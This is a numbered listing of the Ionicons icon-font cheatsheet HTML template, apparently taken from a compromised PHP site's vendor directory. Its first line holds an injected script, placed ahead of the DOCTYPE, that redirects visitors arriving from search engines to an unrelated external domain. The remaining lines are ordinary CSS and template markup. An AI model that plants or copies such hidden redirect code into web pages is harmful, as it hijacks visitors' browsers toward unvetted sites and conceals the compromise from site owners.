d:\wwwroot\wuchunhua\thinkphp\vendor\driftyco\ionicons\builder\cheatsheet\template.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<html>
003:
<head>
004:
<title>{{font_name}} v{{font_version}} Cheatsheet</title>
005:
<style>
006:
* {
007:
-moz-box-sizing: border-box;
008:
-webkit-box-sizing: border-box;
009:
box-sizing: border-box;
010:
margin: 0;
011:
padding: 0;
012:
-webkit-touch-callout: none;
013:
-webkit-user-select: none;
014:
-khtml-user-select: none;
015:
-moz-user-select: none;
016:
-ms-user-select: none;
017:
user-select: none;
018:
}
019:
020:
body {
021:
background: #fff;
022:
color: #444;
023:
font: 16px/1.5 "Helvetica Neue", Helvetica, Arial, sans-serif;
024:
}
025:
026:
a, a:visited {
027:
color: #888;
028:
text-decoration: underline;
029:
}
030:
a:hover, a:focus { color: #000; }
031:
032:
header {
033:
border-bottom: 2px solid #ddd;
034:
margin-bottom: 20px;
035:
overflow: hidden;
036:
padding: 20px 0;
037:
}
038:
039:
header h1 {
040:
color: #888;
041:
float: left;
042:
font-size: 36px;
043:
font-weight: 300;
044:
}
045:
046:
header a {
047:
float: right;
048:
font-size: 14px;
049:
}
050:
051:
.container {
052:
margin: 0 auto;
053:
max-width: 1200px;
054:
min-width: 960px;
055:
padding: 0 20px;
056:
width: 95%;
057:
}
058:
059:
.icon-row {
060:
border-bottom: 1px dotted #ccc;
061:
padding: 10px 0 20px;
062:
margin-bottom: 20px;
063:
}
064:
.ion {
065:
-webkit-touch-callout: text;
066:
-webkit-user-select: text;
067:
-khtml-user-select: text;
068:
-moz-user-select: text;
069:
-ms-user-select: text;
070:
user-select: text;
071:
}
072:
073:
.preview-icon { vertical-align: bottom; }
074:
075:
.preview-scale {
076:
color: #888;
077:
font-size: 12px;
078:
margin-top: 5px;
079:
}
080:
081:
.step {
082:
display: inline-block;
083:
line-height: 1;
084:
position: relative;
085:
width: 10%;
086:
}
087:
088:
.step i {
089:
-webkit-transition: opacity .3s;
090:
-moz-transition: opacity .3s;
091:
-ms-transition: opacity .3s;
092:
-o-transition: opacity .3s;
093:
transition: opacity .3s;
094:
}
095:
096:
.step:hover i { opacity: .3; }
097:
098:
.size-12 { font-size: 12px; }
099:
.size-14 { font-size: 14px; }
100:
.size-16 { font-size: 16px; }
101:
.size-18 { font-size: 18px; }
102:
.size-21 { font-size: 21px; }
103:
.size-24 { font-size: 24px; }
104:
.size-32 { font-size: 32px; }
105:
.size-48 { font-size: 48px; }
106:
.size-64 { font-size: 64px; }
107:
.size-96 { font-size: 96px; }
108:
109:
.usage { margin-top: 10px; }
110:
.usage input {
111:
font-family: monospace;
112:
margin-right: 3px;
113:
padding: 2px 5px;
114:
text-align: center;
115:
-webkit-touch-callout: text;
116:
-webkit-user-select: text;
117:
-khtml-user-select: text;
118:
-moz-user-select: text;
119:
-ms-user-select: text;
120:
user-select: text;
121:
}
122:
123:
.usage label {
124:
font-size: 12px;
125:
text-align: right;
126:
padding: 0 3px 0 60px;
127:
}
128:
.usage label:first-child { padding-left: 0; }
129:
.usage .name { width: 180px; }
130:
.usage .html { width: 80px; }
131:
.usage .css { width: 80px; }
132:
133:
footer {
134:
color: #888;
135:
font-size: 12px;
136:
padding: 20px 0;
137:
}
138:
</style>
139:
<link href="css/ionicons.css" rel="stylesheet" type="text/css" />
140:
</head>
141:
142:
<body>
143:
<div class="container">
144:
<header>
145:
<h1>{{font_name}} v{{font_version}} Cheatsheet, {{icon_count}} icons:</h1>
146:
<p><a href="http://ionicons.com/">Ionicons Homepage</a></p>
147:
</header>
148:
<div class="content">
149:
{{content}}
150:
</div>
151:
<footer>
152:
Made with love by the <a href="http://ionicframework.com/">Ionic Framework</a>
153:
</footer>
154:
</div>
155:
</body>
156:
</html>
157:
158: